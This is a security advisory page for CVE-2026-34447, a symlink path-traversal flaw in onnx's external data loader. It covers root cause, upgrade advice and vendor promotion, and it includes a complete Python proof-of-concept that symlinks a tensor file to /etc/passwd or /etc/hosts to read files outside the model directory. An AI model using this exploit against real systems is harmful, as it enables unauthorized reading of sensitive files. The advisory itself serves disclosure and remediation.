CVE-2026-34447

CVE-2026-34447 is a medium-severity path traversal vulnerability in onnx (pip), affecting versions < 1.21.0. It is fixed in 1.21.0.

Summary

Summary

  • Issue: Symlink traversal in external data loading allows reading files outside the model directory.
  • Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model.
  • Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause

  • The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It:
    • Rejects empty/absolute paths
    • Normalizes the relative path and rejects ..
    • Builds data_path = base_dir / relative_path
    • Checks exists(data_path) and is_regular_file(data_path)
  • However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference

  • File: onnx/onnx/checker.cc:970-1060
  • Key logic:
    • Normalization: auto relative_path = file_path.lexically_normal().make_preferred();
    • Existence: std::filesystem::exists(data_path)
    • Regular file check: std::filesystem::is_regular_file(data_path)
    • Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.

Proof of Concept (PoC)

  • File: onnx_external_data_symlink_traversal_poc.py
  • Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory.
  • Run:
    • python3 onnx_external_data_symlink_traversal_poc.py
    • Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir

onnx_external_data_symlink_traversal_poc.py

#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC

Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC:
 - Creates a model with a tensor using external_data location 'tensor.bin'
 - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
 - Calls load_external_data_for_model(model, base_dir)
 - Confirms that tensor.raw_data contains the content of the outside file

Safe: only reads a benign system file if present.
"""

import os
import sys
import tempfile
import pathlib

# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
    sys.path.remove(_here)

import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
    set_external_data,
    load_external_data_for_model,
)


def pick_target_file():
    candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
    for p in candidates:
        if os.path.exists(p) and os.path.isfile(p):
            return p
    raise RuntimeError("No suitable readable system file found for this PoC")


def build_model_with_external(location: str):
    # A 1D tensor; data will be filled from external file
    tensor = helper.make_tensor(
        name="X_ext",
        data_type=TensorProto.UINT8,
        dims=[0],  # dims will be inferred after raw_data is read
        vals=[],
    )
    # add dummy raw_data then set_external_data to mark as external
    tensor.raw_data = b"dummy"
    set_external_data(tensor, location=location)

    # Minimal graph that just feeds the initializer as Constant
    const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor)
    graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)])
    model = helper.make_model(graph)
    return model


def main():
    base = tempfile.mkdtemp(prefix="onnx_symlink_poc_")
    model_dir = base
    link_name = os.path.join(model_dir, "tensor.bin")

    target = pick_target_file()
    print(f"[*] Using target file: {target}")

    # Create symlink in model_dir pointing outside
    try:
        pathlib.Path(link_name).symlink_to(target)
    except OSError as e:
        print(f"[!] Failed to create symlink: {e}")
        print("    This PoC needs symlink capability.")
        return 1

    # Build model referencing the relative location 'tensor.bin'
    model = build_model_with_external(location="tensor.bin")

    # Use in-memory model; explicitly load external data from base_dir
    loaded = model
    print("[*] Loading external data into in-memory model...")
    try:
        load_external_data_for_model(loaded, base_dir=model_dir)
    except Exception as e:
        print(f"[!] load_external_data_for_model raised: {e}")
        return 1

    # Validate that raw_data came from outside file by checking a prefix
    raw = None
    # Search initializers
    for t in loaded.graph.initializer:
        if t.name == "X_ext" and t.HasField("raw_data"):
            raw = t.raw_data
            break
    # Search constant attributes if not found
    if raw is None:
        for node in loaded.graph.node:
            for attr in node.attribute:
                if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"):
                    raw = attr.t.raw_data
                    break
            if raw is not None:
                break
    if raw is None:
        print("[?] Did not find raw_data on tensor; PoC inconclusive")
        return 2

    with open(target, "rb") as f:
        target_prefix = f.read(32)
    if raw.startswith(target_prefix):
        print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir")
        print(f"      Symlink {link_name} -> {target}")
        return 0
    else:
        print("[?] Raw data did not match target prefix; environment-specific behavior")
        return 3


if __name__ == "__main__":
    sys.exit(main())

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-34447 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.21.0); upgrading removes the vulnerable code path.

Affected versions

onnx (< 1.21.0)

Security releases

onnx → 1.21.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade onnx to 1.21.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-34447? CVE-2026-34447 is a medium-severity path traversal vulnerability in onnx (pip), affecting versions < 1.21.0. It is fixed in 1.21.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-34447? CVE-2026-34447 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of onnx are affected by CVE-2026-34447? onnx (pip) versions < 1.21.0 is affected.
  4. Is there a fix for CVE-2026-34447? Yes. CVE-2026-34447 is fixed in 1.21.0. Upgrade to this version or later.
  5. Is CVE-2026-34447 exploitable, and should I be worried? Whether CVE-2026-34447 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-34447 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-34447? Upgrade onnx to 1.21.0 or later.

Other vulnerabilities in onnx

CVE-2026-34447CVE-2026-34446CVE-2026-34445CVE-2026-27489CVE-2026-28500

Stop the waste.
Protect your environment with Kodem.